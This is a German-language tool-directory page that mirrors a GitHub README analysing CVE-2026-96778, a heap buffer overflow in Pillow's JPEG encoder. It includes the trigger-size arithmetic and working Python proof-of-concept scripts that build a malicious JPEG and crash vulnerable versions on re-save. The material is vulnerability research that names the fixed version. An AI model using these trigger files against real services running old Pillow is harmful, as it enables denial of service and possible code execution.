Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-96778-pillow — Proof-of-Concept und technische Analyse für CVE-2026-96778, einen Heap-Buffer-Overflow im JPEG-Encoder von Pillow, ausgelöst durch ein ICC-Profil zusammen mit einem COM-Marker beim erneuten Speichern. | Kitploit
Tools/GitHubGitHub/paktiko1986/cve-2026-96778-pillow
SpeicherforensikSchwachstellenanalyseExploitationFuzzingPapers & ForschungLernen & BildungBinary-Exploitation
GitHub
Teilen
paktiko1986/cve-2026-96778-pillow

CVE-2026-96778-pillow

Proof-of-Concept und technische Analyse für CVE-2026-96778, einen Heap-Buffer-Overflow im JPEG-Encoder von Pillow, ausgelöst durch ein ICC-Profil zusammen mit einem COM-Marker beim erneuten Speichern.

Repository anzeigen
vor 25 TagenNoch nicht geprüft

CVE-2026-96778 — Heap-Buffer-Overflow im Pillow-JPEG-Encoder

Status Pillow Fixed Platform

Dieses Repository enthält einen Proof of Concept (PoC), einen Reproduktionsnachweis und eine technische Analyse für CVE-2026-96778, einen Heap-Buffer-Overflow in der Bibliothek Pillow (Python Imaging Library).

Kurzfassung: Das erneute Speichern eines JPEG-Bildes, das ein ICC-Profil mit exakt passender Größe und einen Kommentar (COM-Marker) enthält, führt zu einem Schreibvorgang über den 65.536-Byte-Encoder-Puffer hinaus, beschädigt Heap-Metadaten und kann zu einem Denial of Service (Absturz) bis hin zur Codeausführung führen.


1. Details zur Schwachstelle

FeldWert
CVE-IDCVE-2026-96778
Komponentesrc/libImaging/JpegEncode.c — ImagingJpegEncode()
Anfällige StelleZeile 282 (jpeg_write_marker für COM-Marker)
TypHeap Buffer Overflow (CWE-122)
Betroffener BereichPillow 9.4.0 – <13.0.0
Behoben inPillow 13.0.0
AuswirkungDoS (SIGSEGV/SIGABRT), potenzielle RCE
VektorLokal / Benutzerinteraktion (Öffnen und erneutes Speichern eines Bildes)
AdvisoryGHSA-g7cr-3p24-7wf7

2. Analyse der Ursache

2.1 Codeablauf

  1. JpegImagePlugin._save() berechnet die Größe des Ausgabepuffers nur aus exif und extra (ICC-Profil), ohne Platz für den Kommentar einzuplanen.
  2. _encode_to_file() (src/encode.c:186) reserviert einen Puffer von MAXBLOCK = 65.536 Byte.
  3. Ein ICC-Profil von 65.498 Byte füllt den Puffer bis zum letzten Byte, sodass free_in_buffer == 0 gilt.
  4. Wenn jpeg_write_marker() aufgerufen wird, um den COM-Marker zu schreiben (JpegEncode.c:282), schreibt libjpeg zuerst 1 Byte und verringert erst danach den Zähler size_t free_in_buffer.
  5. Da der Zähler 0 ist, führt die Verringerung zu einem Unterlauf auf ~2⁶⁴. Die nachfolgenden Grenzprüfungen werden dadurch ungültig.
  6. Der Rest des Kommentars und die komprimierten Bilddaten werden über die Puffergrenze hinaus geschrieben und überschreiben den umliegenden Heap-Speicher.

2.2 Berechnung der Auslösegröße

ENCODER_BUFFER = 65536          # ImageFile.MAXBLOCK
JFIF_HEADER    = 20             # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD   = 18             # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD    = 65536 - 20 - 18 = 65498   # tepat penuh

Mit ICC_PAYLOAD = 65498 wird der Puffer genau bis zum letzten Byte gefüllt. Das Hinzufügen eines COM-Markers (beliebige Länge, 1–65533 Bytes) löst einen Overflow aus.

2.3 Warum große Kommentare effektiver sind

Ein maximal legaler Kommentar (65.533 Bytes) bewirkt, dass der Overflow eine große Datenmenge schreibt, wodurch der Absturz deterministischer wird. Ein kleiner Kommentar (z. B. 32 Bytes) löst in Valgrind weiterhin einen Invalid write aus, führt aber zur Laufzeit nicht unbedingt zu einem Absturz (abhängig vom Heap-Layout und Allocator).


3. Testumgebung

KomponenteWert
OSUbuntu Linux x86_64
KernelLinux 6.x
Python3.12.3
Valgrind3.22.0
libjpeg8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2)
Compilergcc 13.3.0
Getestete Pillow-Versionen9.4.0, 9.5.0, 13.0.0
Pillow-QuelleBuild aus dem Quellcode (pip install -e .)

4. Machbarkeitsnachweis

4.1 make_trigger.py — Generator für auslösende JPEGs

Erstellt trigger.jpg mit einem ICC-Profil von 65.498 Bytes und einem COM-Marker.

from PIL import Image
import io, struct

im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()

icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data

def make_app2(payload):
    length = len(payload) + 2
    return b"\xFF\xE2" + struct.pack(">H", length) + payload

def make_com(comment: bytes):
    length = len(comment) + 2
    return b"\xFF\xFE" + struct.pack(">H", length) + comment

assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]

with open("trigger.jpg", "wb") as f:
    f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")

4.2 repro_cve.py — Valgrind-freundliche Reproduktion

from PIL import Image

im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)

im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")

Mit Valgrind ausführen:

python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log

4.3 poc_advisory.py — Referenz-PoC (Crash-Erkennung)

Basierend auf der offiziellen GHSA-g7cr-3p24-7wf7-Advisory. Führt im.save() im Child-Prozess aus und prüft den Exit-Status (negativ = durch Signal beendet).

#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image

ENCODER_BUFFER = 65536
JFIF_HEADER    = 20
ICC_OVERHEAD   = 18
ICC_PAYLOAD    = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498
COMMENT        = b"C" * 65533

RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""

def segment(marker, payload):
    return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload

def make_jpeg(with_comment):
    noise = random.Random(1234).randbytes(256 * 256 * 3)
    out = BytesIO()
    Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
    plain = out.getvalue()
    icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
    com = segment(0xFE, COMMENT) if with_comment else b""
    return plain[:2] + icc + com + plain[2:]

def resave(jpeg):
    cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
    r = subprocess.run(cmd, input=jpeg, capture_output=True)
    print((r.stdout + r.stderr).decode(errors="replace").strip())
    print(f"-> exit status {r.returncode}")
    return r.returncode

print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))

print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))

if rc < 0:
    print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
    print("BUG")
else:
    print("OK")

5. Nachweis der Reproduzierbarkeit

5.1 Zusammenfassung der Ergebnisse

Pillow-VersionImportquelleValgrindPoC-AdvisoryStatus
9.4.0/mnt/Pillow/src/PILInvalid write ×5 + Heap-KorruptionBUG (SIGSEGV)ANFÄLLIG
9.5.0/mnt/Pillow/src/PILInvalid write ×5 + Heap-KorruptionBUG (SIGSEGV)ANFÄLLIG
13.0.0/mnt/Pillow-13/src/PIL0 errorsOKSICHER

5.2 Pillow 9.4.0 — Valgrind

Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer ist eine Open-Source-Plattform für Privileged Access Management (PAM), die DevOps- und IT-Teams bedarfsgesteuerten und sicheren Zugriff auf SSH-, RDP-, Kubernetes-, Datenbank- und RemoteApp-Endpunkte über einen Webbrowser bietet.

    383
  • 5

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    328
  • 6

    SafeLine

    chaitin/safeline

    Selbst gehosteter WAF und Reverse Proxy, der bösartigen HTTP-Verkehr filtert, SQL-Injection, XSS und Bot-Angriffe blockiert, mit Ratenbegrenzung und dynamischer HTML/JS-Verschlüsselung.

    288

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →